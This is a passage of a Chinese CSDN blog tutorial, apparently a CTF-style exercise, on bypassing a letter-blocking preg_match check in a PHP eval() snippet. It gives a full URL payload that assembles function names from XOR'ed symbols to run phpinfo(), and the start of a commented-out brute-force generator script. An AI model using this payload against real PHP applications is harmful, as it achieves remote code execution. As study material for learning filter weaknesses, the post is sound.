绕过preg_match

本文探讨如何在遇到preg_match正则匹配限制时,利用按位异或(XOR)技巧重组PHP代码,以达到在eval()中执行任意代码的目的。文章介绍了异或运算是二进制级别的,并提供了相关payload的研究过程。
摘要由CSDN通过智能技术生成

绕过preg_match

<?php
$input = $_GET['input'];
if (preg_match("/[a-zA-Z]/", $input)) {
   
    exit("wrong");
}
eval($input);

可以简单的理解preg_match("/[a-zA-Z]/" 正则表达式匹配 大小写字母符号

最终的目的是要到eval()函数中去执行任意代码,这题也就是考研我们如何绕过这个preg_match。

简单来说将特殊字符通过异或的方式重组了phpinfo();

什么是按位异或,异或本质是二进制运算

1001
0101
通过脚本
自己研究生成 payload

http://www.localhost.com/roge/dome1.php?input=$_2%20=%20(%27!%27%20^%20%27@%27).(%273%27%20^%20%27@%27).(%273%27%20^%20%27@%27).(%278%27%20^%20%27]%27).(%272%27%20^%20%27@%27).(%274%27%20^%20%27@%27);$_3%20=%20(%279%27%20^%20%27~%27).(%279%27%20^%20%27|%27).(%274%27%20^%20%27`%27);$_4%20=%20${%27_%27.$_3};$_2($_4[12345]);&12345=phpinfo();
<?php

//$myfile = fopen("xor_rce.txt", "w");
//$contents="";
遍历
//for ($i=0; $i < 256; $i++) {
   
//    for ($j=0; $j <256 ; $j++) {
   
//
//        if($i<16){
   
//            $hex_i='0'.dechex($i);
//        }
//        else{
   
//            $hex_i=dechex($i);
//        }
//        if($j<16){
   </
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值